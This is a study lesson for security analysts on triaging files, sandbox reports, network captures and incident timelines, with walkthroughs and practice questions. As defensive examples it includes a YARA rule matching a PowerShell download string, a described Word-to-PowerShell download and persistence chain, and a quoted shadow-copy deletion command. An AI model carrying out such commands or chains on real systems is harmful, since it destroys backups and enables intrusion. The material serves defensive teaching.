Reputation adds outside context to local evidence. It can identify a known file, reveal a newly registered domain or show recent abuse reports. The lookup's age, privacy implications and connection to this host matter as much as its score.
Identify the exact file
A cryptographic hash gives file content a fixed-length identifier. MD5 uses 32 hexadecimal characters, SHA-1 uses 40 and SHA-256 uses 64. Practical collision attacks weaken MD5 and SHA-1, so use SHA-256 for evidence identification.
Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256
On Linux, use sha256sum file. Changing even one byte changes the hash dramatically: the SHA-256 prefixes of “invoice” and “Invoice” are 52d6e3de4fa0dcc2 and b832002da297545f. An attacker can recompile or pad a payload to evade an exact-hash match. Fuzzy hashes such as ssdeep compare similarity; imphash groups PE files by their imports.
Interpret a reputation report
VirusTotal combines multiple engines, relationships and analysis reports. A result of 58/72 means about 81% flagged the file; 3/72 means about 4%. A low count can reflect a false alarm or a new threat. Read the detection names, first submission, observed filenames, signature and contacted infrastructure alongside the ratio. Zero detections leave the behavior question open.
A hash lookup avoids sending the file contents but reveals which hash interests you. If the service already holds the file, the hash can identify it. Uploads share the actual sample and may expose it to subscribers or an attacker watching submissions. Check the hash first; keep confidential content in approved private analysis systems.
A valid signature increases confidence in origin, but stolen certificates and abuse of signed system tools remain possible. Verify both signature validity and whether the signer fits the claimed product. Then judge the observed command or file behavior.
Read domain and IP context
Registration data can reveal a registrar and creation date even when owner details are redacted. RDAP is the authoritative registration-data protocol for generic top-level domains following the January 2025 transition; tools may still label their view “WHOIS”. A domain created two days before a phishing campaign is a useful warning sign. Passive DNS adds past address mappings, and certificate transparency adds issued certificate names.
AbuseIPDB aggregates IP abuse reports. Check dates and the reported service: a cloud IP may have changed customer. GeoIP gives an approximate location of infrastructure, not a reliable location of the person behind a VPN, Tor or a cloud service. Shared hosting and CDNs also make broad IP blocking disruptive.
Favor evidence that survives changes
The Pyramid of Pain orders hashes, IPs, domains, host/network artifacts, tools and attacker techniques by increasing difficulty for the attacker to change. Exact hashes are easy to replace. A detection of Word spawning a downloader and establishing persistence can remain useful after the file hash and destination change. Keep short-lived indicators with review or expiry dates while recording the behavior that produced them.
Key Takeaways
- Use SHA-256 to identify exact files and recognize that changed files have new hashes.
- Read detection ratios together with behavior, dates, signatures and relationships.
- Hash lookups disclose interest; file uploads disclose the sample itself.
- Check registration age, passive DNS and recent IP reports in context.
- GeoIP locates infrastructure approximately and shared IPs need careful handling.
- Behavioral detections survive changes that defeat hash or IP blocking.
4.2 Perform basic static analysis
Static analysis examines a file without executing it. It helps identify what the file really is, what capabilities it may contain and what a sandbox should watch for. Keep capability clues separate from behavior that has actually been observed.
Identify the type and readable content
Extensions are easy to rename. Inspect the magic bytes with file, a hex viewer or CyberChef's Detect File Type operation:
| Opening bytes | Likely format |
|---|---|
4D 5A, or MZ | Windows executable family |
25 50 44 46, or %PDF | |
50 4B 03 04, or PK | ZIP, including modern Office containers |
7F 45 4C 46 | Linux ELF executable |
An attachment called invoice.pdf beginning with MZ is posing as a document. Confirm the structure, since a short signature alone is only an initial type check.
GNU strings -a file.exe extracts ASCII text across the file. strings -a -e l file.exe extracts UTF-16LE text, common in Windows programs. FLOSS and Sysinternals Strings can help cover both. Search for domains, URLs, commands, registry paths, filenames and error messages. Extracted text can be unused or misleading, so preserve its location and check it against later behavior.
Read structure and packing clues
A PE executable has headers, sections such as .text, .data and .rsrc, and an import table of functions it requests. VirtualAllocEx, WriteProcessMemory and CreateRemoteThread together suggest possible code injection. URLDownloadToFile and InternetOpenUrl suggest download capability. A compile timestamp can be forged and needs corroboration.
Packers compress or encrypt code and unpack it in memory. Few strings, a short import list, UPX0/UPX1 sections and high entropy suggest packing. Entropy approaches 8 bits per byte for highly random-looking data, but compressed resources and ordinary installers can look similar. Packing changes how you investigate; it does not settle the verdict.
Decode text and test a match
CyberChef recipes can combine Base64, hexadecimal, XOR, decompression and URL decoding. Apply operations in the order the content needs. A regular expression such as \b(?:\d{1,3}\.){3}\d{1,3}\b extracts IPv4-like text, but also matches 999.1.1.1, so validate the candidates.
A YARA rule can combine independent features:
rule Suspicious_Downloader
{
strings:
$mz = { 4D 5A }
$a = "DownloadString" ascii wide
$b = "198.51.100.7"
condition:
$mz at 0 and $a and $b
}
The file must start with MZ and contain both strings; ascii wide accepts the download string in either representation. Test the rule against known-good files to measure accidental matches. A match establishes the rule's conditions, while analyst review establishes their significance.
For documents, extract macros with olevba. For scripts, remove encoding or obfuscation as text. Use the resulting functions, arguments and indicators to configure and interpret the dynamic analysis.
Key Takeaways
- Identify real file type from structure and bytes, beyond the extension.
- Extract ASCII and UTF-16LE strings when examining Windows samples.
- Use imports and packing indicators to form testable capability hypotheses.
- Validate decoded indicators and regular-expression matches.
- Read every YARA condition and test rules against known-good content.
4.3 Run and interpret sandbox analysis
Dynamic analysis runs a sample in a controlled environment and records its actions. A sandbox can reveal the behavior hidden by packing or a document's active content. Its report describes that run under that configuration; check whether the sample had what it needed to act.
Set up a useful run
Use an isolated, instrumented environment such as Joe Sandbox, Cuckoo or an interactive sandbox. Separate it from production, control its network access and reset to a clean snapshot after each run. Network services can be simulated with INetSim or FakeNet, or routed through approved analysis infrastructure. Keep confidential samples in private systems.
Match the target operating system and applications. A macro document needs the relevant Office environment; an archive may need its password; a program may require arguments, clicks, a particular parent or a reboot. Record those settings and the run duration so another analyst can interpret the result.
Read the actions behind the score
Inspect the process tree, file changes, registry changes, DNS and HTTP activity, connections, screenshots and dropped-file hashes. A report may also show mutexes and ATT&CK mappings. A mutex coordinates exclusive access to a resource; malware sometimes uses a distinctive mutex name to avoid running two copies. Legitimate software uses mutexes too.
Consider a document run that produces Word → hidden encoded PowerShell, a lookup for cdn-update.example.net, an HTTP GET for /a.ps1, C:\Users\Public\upd.exe, and a Run entry pointing to that file. Collect the domain, IP, URL, dropped-file hash, path and Run value. PowerShell supports mapping to T1059.001, and the Run entry supports T1547.001. Delivery by phishing attachment needs separate email evidence for T1566.001.
Tie the report's claims to its recorded events. A high summary score helps prioritize a sample, but the process actions explain what happened and which indicators are useful in your environment.
Investigate an inactive sample
Malware can sleep past the observation period, detect virtual hardware, inspect memory or CPU resources, wait for clicks, or require a particular language or location. A failed download can also prevent the next stage from running. Recheck dependencies and static findings before treating an inactive run as reassuring.
Choose a rerun that tests a concrete explanation: extend the duration for a delay, provide the required application or arguments, add interaction, or use another operating-system profile. Document what changed. If important uncertainty remains, escalate the sample for specialist reverse engineering.
Bring the findings back to the case
Search DNS, proxy, firewall and EDR records for the meaningful domains, paths, hashes and behavior. A sandbox's Windows updates, certificate checks and connectivity tests are background activity; distinguish them from actions caused by the sample before blocking destinations.
A sandbox can supply search leads for other hosts, but its isolated run does not establish which production hosts were infected. Match the leads to local events and process history, then preserve those records with the report and sample hash.
Key Takeaways
- Match sandbox dependencies, arguments, interaction and duration to the sample.
- Inspect recorded actions and dropped artifacts behind the overall score.
- Map observed execution and persistence separately from delivery evidence.
- Test specific reasons for inactivity and combine dynamic with static findings.
- Filter background traffic before using sandbox indicators in production searches.
5Correlate evidence and judge whether activity is malicious
A defensible case joins records without losing their source or overstating their meaning. You will align time zones and identities, distinguish observations from hypotheses, and describe supported behavior with ATT&CK. The final verdict combines authorization, technical evidence and business impact. Clear notes, evidence references and custody records make that judgment useful to the responders who receive it.
5.1 Correlate evidence into a timeline
Correlation joins records into an account of an incident that another analyst can check. Email can establish delivery, endpoint telemetry can establish execution, and network evidence can establish communication. A useful timeline separates those observations from the causal links you are still testing.
Normalize time and identity
Convert times to UTC and retain the original zone and any known clock offset. An EDR time of 11:14:31 at UTC+2 is 09:14:31 UTC. Confirm whether the console or export has converted a sensor's original UTC timestamps. NTP drift can leave sources minutes apart even after time-zone conversion.
Choose join fields that identify the same object at that time: host, user, hash, URL, domain, Message-ID, Zeek uid, or Process GUID. A PID needs a start time because it can be reused. An IP needs DHCP or VPN history because a later lease may assign it to another host. Preserve each source record or query reference beside the timeline entry.
Build the chain of observed events
For one case, the UTC evidence is:
- 09:12:05: a message carrying
invoice.docmreaches 40 mailboxes. - 09:14:10: the user on
WS-0423opens the attachment. - 09:14:31: Word starts encoded PowerShell.
- 09:14:32–33: DNS resolves the download host and an HTTP GET requests
/a.ps1. - 09:15:02:
upd.exeis written and a Run value is created. - From 09:20:00: connections recur every 300 seconds.
- The next night, 02:10–02:50: 2.4 GB leaves for the same IP.
The process and file evidence support the execution and persistence links. The large upload needs further attribution: sharing an IP with earlier traffic is weaker than sharing a process instance and application channel.
Map only what the evidence supports
MITRE ATT&CK supplies standard names for behavior. The message supports spearphishing attachment, T1566.001; PowerShell supports T1059.001; the Run entry supports T1547.001. Mapping the periodic traffic to web-protocol C2, T1071.001, needs HTTP or HTTPS evidence. Mapping the upload to exfiltration over that C2 channel, T1041, needs evidence that the same process and channel carried it.
ATT&CK is not a prescribed sequence. Discovery, credential access and lateral movement are possible follow-up searches, not missing steps that must be inserted into the timeline.
Use gaps to choose the next query
If the upload exceeds the user's own files, investigate whether the process read shares, generated data, repeated transfers or coincided with legitimate traffic. Find the sender and transferred content where available. Record an unexplained event as unexplained instead of forcing it into the first theory.
Actively test an alternative explanation, such as an approved change or backup. Confirmation bias appears when an analyst collects only facts that fit the first diagnosis. A timeline becomes more useful when each uncertain link names the evidence that would strengthen or weaken it.
Key Takeaways
- Normalize timestamps to UTC and retain source zones and clock offsets.
- Join process instances, address assignments and other identities at the event time.
- Keep observed events distinct from proposed causal links.
- Apply ATT&CK mappings only when the supporting behavior is observed.
- Use gaps and competing explanations to choose further evidence searches.
5.2 Reach a verdict and document the findings
A verdict states what the evidence supports, how confident you are and what should happen next. The incident record must let another analyst repeat the investigation. A high-severity alert label alone supplies neither a verdict nor a defensible confidence level.
Classify the finding
A true positive correctly alerts on malicious activity. A false positive alerts on activity outside what the detection was intended to find. A benign true positive correctly detects real but authorized behavior, such as a scheduled penetration test. A false negative is malicious activity that was missed. Use “inconclusive” when the evidence cannot yet decide, and name the missing data.
Check whether the behavior fits the host and user, whether it was authorized, how common it is and whether independent sources agree. State high, medium or low confidence with specific reasons. Confidence describes the strength of the finding; severity describes its impact and urgency.
An encoded PowerShell command launched by a signed deployment agent on 3,000 hosts during an approved window decodes to an authorized installation. That is a benign true positive when the rule correctly detects encoded PowerShell. The same pattern launched by Word on one host, contacting a two-day-old domain and creating persistence, supports a high-confidence malicious verdict.
Write a reproducible handoff
Record a short summary, UTC timeline, affected hosts and accounts, defanged indicators, supported ATT&CK techniques, verdict and confidence. Include queries, alert IDs, evidence locations and file hashes so another analyst can reach the same records. List actions already taken and the recommended next steps.
Explain why an alert is closed. If a detection repeatedly fires on activity outside its intended scope, give the detection engineers examples and context for tuning. Unexplained closure hides both missed attacks and recurring wasted effort.
Share indicators with context
Attach an expiry or review date to domain and IP indicators because ownership and use change. Avoid indiscriminate blocks of shared infrastructure such as CDNs. Exact hashes identify one file version, while behavior-based detections can catch variants. Preserve the relationship between an indicator, its observed behavior and its confidence when sharing it.
Preserve evidence and escalate
Escalate a confirmed malicious finding according to the incident response playbook, with severity based on affected assets and impact. Preserve original messages, captures, endpoint exports and collected samples. Record each file's SHA-256 and who collected or transferred it and when. These custody records document the evidence's handling; the hash provides an integrity check.
EDR isolation is usually preferable to powering off because it restricts communication while retaining memory and a management route. Killing processes and rebooting also change volatile evidence. Follow the playbook's containment priorities, collect what the case needs and record the timing of every response action so later analysts can distinguish attacker activity from the response.
Key Takeaways
- Distinguish malicious detections, authorized detected behavior and detection errors.
- State confidence with evidence and severity with impact.
- Include the queries and evidence references needed to reproduce the verdict.
- Give shared indicators context and review dates.
- Preserve originals, hashes and custody records when escalating.
Analyzing Network and Endpoint Activity examples
1Follow a workstation from capture to traffic verdict
17 steps
- 1IntroductionFind what caused the traffic
A workstation has started contacting a new server, and a network alert mentions a possible reverse shell. You will choose a useful capture point, read the exchange, check its longer-term volume and verify what the alert matched. Packet captures show content, while flow records keep only who talked, when and how much, but reach back further.
Keep two questions separate throughout the investigation: what the sensor observed and what that observation lets you conclude about the workstation.
- 2ExplanationPlace the sensor on the path
An internet-edge capture can see the workstation's external connection, but it misses traffic staying inside a switch. A capture outside NAT also needs translation records to recover the internal source.
Choose a host capture or a correctly placed TAP/SPAN feed for the question. Capacity matters: combining both directions of a busy link can exceed a monitoring port and lose packets.
- 3ExampleSave the host traffic
For this case, capture the workstation at
192.168.1.50oneth0:sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22The options select the interface, avoid name lookups, retain full packets and save raw data. The host filter keeps both directions; excluding port 22 removes the remote analyst session when it uses that port.
- 4ChallengeRecover an excluded protocol
Suppose a capture used
host 192.168.1.50 and tcp port 443. Can a later display filter reveal that host's UDP 443 packets?---reveal---
No. The capture filter excluded UDP before saving, so a display filter has nothing to reveal. UDP 443 may include QUIC. Check another source or capture with an appropriate broader filter; preserve the first capture with its time range and drop statistics.
- 5ExampleIdentify the client
The saved exchange starts with
192.168.1.50:51544 → 203.0.113.80:443 SYN. The server sends SYN-ACK back to port 51544, then the client sends ACK.The workstation initiated the connection. The high port identifies this client-side endpoint; the reply reverses the pair. A port number suggests the expected service, but the handshake alone says nothing about the application carried inside it.
- 6ExampleRead the returned content
Follow TCP Stream on the clear-text download. The request names
/update.php?id=WS-0423andHost: cdn-update.example.net. The response succeeds and its body starts withMZ.The response appears to deliver an executable, even though the path ends in
.php. Export the object for type, hash and signature checks. The URL path is a request target, not a promise about the returned file format. - 7ExplanationKnow which TLS details are visible
If a later exchange uses TLS, the payload is encrypted without suitable session secrets or an inspection point. Timing and byte sizes remain useful. A visible Client Hello can supply SNI and a fingerprint.
ECH can hide the requested name. TLS 1.3 also encrypts the server certificate, unlike TLS 1.2. Record what this capture actually exposes before deciding which name or certificate evidence is missing.
- 8ChallengeCheck a domain association
DNS returned
198.51.100.7for a suspicious domain, and the host connected to that IP. What would make the domain association stronger?---reveal---
An HTTP Host header, visible TLS SNI, proxy record or endpoint event naming that domain would strengthen it. Other domains can share the IP. The sequence is a useful lead, but attributing every connection to that address to one domain skips a necessary identity check.
- 9AnalogyUse the itemized traffic bill
A flow record is like an itemized phone bill: participants, timing and volume survive, while the conversation's words do not. It is useful for searching a longer period than a full capture normally retains.
Find the suspicious host and interval in flow history first. Then retrieve packets for the particular exchange if they exist, keeping the distinction between traffic measurements and content evidence.
- 10ExampleRebuild the measured connection
A connection can have separate forward and reverse flow records, plus timeout fragments. Pair addresses and ports in reverse order, preserve the protocol, and join fragments belonging to that exchange.
Total outbound and inbound bytes separately. Measure time from the earliest start to the latest end. Adding durations from overlapping directions can make one 40-minute connection appear to last 80 minutes.
- 11ExampleCalculate volume and rate
The host sends 2.4 GB and receives 12 MB between 02:10 and 02:50 UTC. Convert the sent volume to 2,400 MB: the outbound-to-inbound ratio is 200:1.
The interval is 2,400 seconds, so the outbound average is 1 MB/s, or 8 Mbit/s. These are measurements. The next judgment compares them with the host's role, expected backup traffic, destination history and responsible process.
- 12ChallengeInterpret an empty byte field
Zeek records TCP state
S0, one originating packet and zero payload bytes. Should the attempt be discarded as no traffic?---reveal---
No. The record describes an observed attempt with no response. A SYN carries no application payload, so zero payload bytes fits the packet evidence. Flow exporters that include IP headers may report nonzero bytes for the same attempt; compare field meanings before comparing totals.
- 13ExampleMeasure the repeated interval
Connections occur at 10:00:00, 10:05:02, 10:09:59, 10:15:01 and 10:20:00. The gaps are 302, 297, 302 and 299 seconds, averaging 300 seconds.
Similar small transfers at that rhythm suggest a software timer. Check the process and destination before calling it C2; approved update software also repeats. Wider variation could be jitter added to a timer, so perfect regularity is not required.
- 14ExplanationRead the actual IDS condition
A rule alerts on TCP from
$HOME_NETto$EXTERNAL_NETport 4444 withflow:to_server,established. Its message says “Possible reverse shell”.The established connection and direction are conditions the rule tests. Shell commands are not among those conditions. Read
sidand revision to identify the rule, then inspect the packets and endpoint process to determine what the matching traffic meant. - 15ChallengeCheck scanning authorization
A host probes many ports on one server, producing mainly
REJandS0. What must be checked before classifying this as attacker scanning?---reveal---
Check the approved scanner inventory and test schedule. The pattern is a vertical scan, but an authorized vulnerability scan can create it too. Matching a source address is useful only when its current assignment and the test timing also fit the authorization.
- 16ChallengeJoin the network clues
The new destination has periodic contacts, a large overnight upload and a port-based alert. What evidence should decide whether those belong to one malicious activity chain?
---reveal---
Use endpoint process instances to attribute the connections, then inspect protocol and destination context. Compare the upload with approved activity. One shared IP and a rule message leave open the possibility of unrelated traffic or shared infrastructure, so they cannot by themselves establish C2 and theft.
- 17RecapCarry the evidence forward
You now have a capture with a known observation point, a reconstructed exchange, directional traffic measurements and a tested account of the alert. The handoff should retain the relevant packets, original timestamps, hashes and query references.
If the traffic remains suspicious, the most useful next pivot is to the endpoint process that produced it: that process can connect the network pattern to execution, files and persistence.
2Investigate a reported supplier message
13 steps
Save this lesson to follow every Walkthrough step by step.
- 1IntroductionStart with the original message
- 2ExplanationSeparate the sender fields
- 3TipFind the trusted boundary
- 4ExampleCompare passing domains
- 5ChallengeUse a surviving aligned signature
- 6ExampleInspect the business action
- 7ExplanationRead the actual host in a link
- 8ChallengeChoose independent verification
- 9ExampleDecode a personalized URL
- 10ExplanationSearch delivery and interaction separately
- 11ChallengeScope beyond the reporter
- 12ChallengeDecide what evidence changes the case
- 13RecapHand off reach and impact
3Trace execution and find the ways it returns
16 steps
Save this lesson to follow every Walkthrough step by step.
- 1IntroductionFollow the host history
- 2ExplanationConfirm the telemetry
- 3ChallengeKeep process instances separate
- 4ExampleRead the ancestry
- 5ExplanationDecode the command text
- 6ChallengeJudge a signed tool
- 7ExampleRead the logon trigger
- 8ExampleInspect the scheduled action
- 9ExplanationSearch beyond two locations
- 10ChallengeHandle two persistence routes
- 11ExampleRead the old-looking file date
- 12ExplanationFind changes to defenses
- 13ChallengeConnect an archive to an upload
- 14ConnectionUse inventory as context
- 15ChallengeChoose evidence-preserving containment
- 16RecapDescribe the host chain
4Turn a suspicious file into testable findings
14 steps
Save this lesson to follow every Walkthrough step by step.
- 1IntroductionAsk a different question of each method
- 2ExampleRecord the exact content identifier
- 3ExplanationRead the report beyond its ratio
- 4ChallengeInterpret an unknown signed file
- 5ExampleCheck the real file format
- 6ExampleExtract both text forms
- 7ExplanationCombine packing clues
- 8ChallengeRead a conjunctive YARA rule
- 9ExplanationMatch the runtime environment
- 10ExampleExtract behavior and artifacts
- 11ChallengeExplain an inactive run
- 12ChallengeSeparate behavior from delivery
- 13ConnectionSearch with durable clues
- 14RecapKeep capability and observation distinct
5Build and hand off a defensible incident finding
11 steps
Save this lesson to follow every Walkthrough step by step.
- 1IntroductionMake the evidence checkable
- 2ExampleConvert the console time
- 3ExplanationVerify who held the address
- 4ExampleBuild the observed sequence
- 5ChallengeTest a shared-IP conclusion
- 6Key InsightLet ATT&CK describe what was seen
- 7ExplanationDistinguish detection from authorization
- 8ChallengeClassify an approved deployment
- 9ExampleWrite the verdict and handoff
- 10ChallengeKeep the final claim proportionate
- 11RecapLeave a case others can continue
Analyzing Network and Endpoint Activity practice questions
Set 1: Read the traffic and test the alert10 Practice Questions
Question 1 of 10
Show answerHide answer
Question 2 of 10
Show answerHide answer
Question 3 of 10
10.8.0.14:53720 → 203.0.113.62:8443 SYN. Which endpoint initiated the connection?Show answerHide answer
Question 4 of 10
/status.asp receives a response beginning 4D 5A. What should the analyst infer and check next?Show answerHide answer
Question 5 of 10
Show answerHide answer
Question 6 of 10
Show answerHide answer
Question 7 of 10
Show answerHide answer
Question 8 of 10
Show answerHide answer
Question 9 of 10
Show answerHide answer
Question 10 of 10
Show answerHide answer
Set 2: Trace email identity and campaign reach10 Practice Questions
Save this lesson to see every answer and practice every set.
Question 1 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 2 of 10
accounts@example.org, SPF pass for bounce.mailer.example.net, and DKIM pass for example.org. What is the DMARC result under strict alignment?Show answerHide answer
Save this lesson to see this answer.
Question 3 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 4 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 5 of 10
https://portal.example.org@203.0.113.88/session. What is its host?Show answerHide answer
Save this lesson to see this answer.
Question 6 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 7 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 8 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 9 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 10 of 10
Show answerHide answer
Save this lesson to see this answer.
Set 3: Follow endpoint execution and persistence10 Practice Questions
Save this lesson to see every answer and practice every set.
Question 1 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 2 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 3 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 4 of 10
WINWORD.EXE launching validly signed mshta.exe with a remote URL. What makes the invocation suspicious despite the valid signature?Show answerHide answer
Save this lesson to see this answer.
Question 5 of 10
[kworker/3:2]. It runs as a regular user, descends from a shell, and /proc/<pid>/exe points to a deleted file in /dev/shm. How should these clues be interpreted?Show answerHide answer
Save this lesson to see this answer.
Question 6 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 7 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 8 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 9 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 10 of 10
vssadmin delete shadows /all /quiet. Why does this require urgent escalation?Show answerHide answer
Save this lesson to see this answer.
Set 4: Compare reputation, static clues and sandbox behavior10 Practice Questions
Save this lesson to see every answer and practice every set.
Question 1 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 2 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 3 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 4 of 10
4D 5A. What is the next useful file-type check?Show answerHide answer
Save this lesson to see this answer.
Question 5 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 6 of 10
999.12.4.8 as IPv4-like text. What should the analyst do with that result?Show answerHide answer
Save this lesson to see this answer.
Question 7 of 10
MZ at offset zero and a match for at least one of strings A and B. Sample X has MZ at zero and B in a supported wide encoding. Sample Y has MZ only at offset 20 and both A and B. Which sample matches, and why?Show answerHide answer
Save this lesson to see this answer.
Question 8 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 9 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 10 of 10
Show answerHide answer
Save this lesson to see this answer.
Set 5: Reconcile the evidence and hand off the case10 Practice Questions
Save this lesson to see every answer and practice every set.
Question 1 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 2 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 3 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 4 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 5 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 6 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 7 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 8 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 9 of 10
Show answerHide answer
Save this lesson to see this answer.
Question 10 of 10
Show answerHide answer
Save this lesson to see this answer.
Stuck on your own question? Homework Help
Key Terms
A
Authentication-Results
Authorized keys
B
Beaconing
Benign true positive
Business email compromise
C
Campaign scoping
Capture filter
Chain of custody
Clock offset
Confidence
Confirmation bias
Connection state
Correlation
Cron job
D
Data staging
Defanging
Detonation
Display filter
DKIM
DMARC
DNS
DNS tunneling
Domain alignment
Domain generation algorithm
E
EDR
EncodedCommand
Encrypted Client Hello
Entropy
Envelope sender
F
False negative
False positive
Fileless execution
Flow record
Fuzzy hash
G
GeoIP
H
Header From
Homoglyph
Horizontal scan
HTTP Host header
I
IDS rule
Imphash
Indicator of compromise
IPFIX
J
Jitter
L
LaunchAgent and LaunchDaemon
LOLBin
M
Magic number
Mark of the Web
Masquerading
MDM
Message-ID
MITRE ATT&CK
Mutex
N
NAT
Network TAP
NXDOMAIN
P
Packer
Packet capture
Passive DNS
PE import table
Percent-encoding
Persistence
Phishing
Prevalence
Process GUID
Process tree
Pyramid of Pain
R
Ransomware
RDAP
Received header
Regular expression
Reputation
Ring buffer
Rogue device
Run key
S
Sampling
Sandbox
Sandbox evasion
Scheduled task
Sensor health
SHA-256
SNI
SPAN port
Spear phishing
SPF
Static analysis
Systemd unit
T
TCP handshake
TCP stream reassembly
Thread hijacking
Timestomping
TLS fingerprint
Traffic baseline
True positive
Typosquatting
U
UTC
V
Vertical scan
W
Web shell
WMI event subscription
X
XDR
Y
YARA
Z
Zeek uid
#
5-tuple
About this lesson
Make your own Study Materials
Turn your notes, slides and documents into Study Guides, Practice Questions, Flashcards and 6 more tools.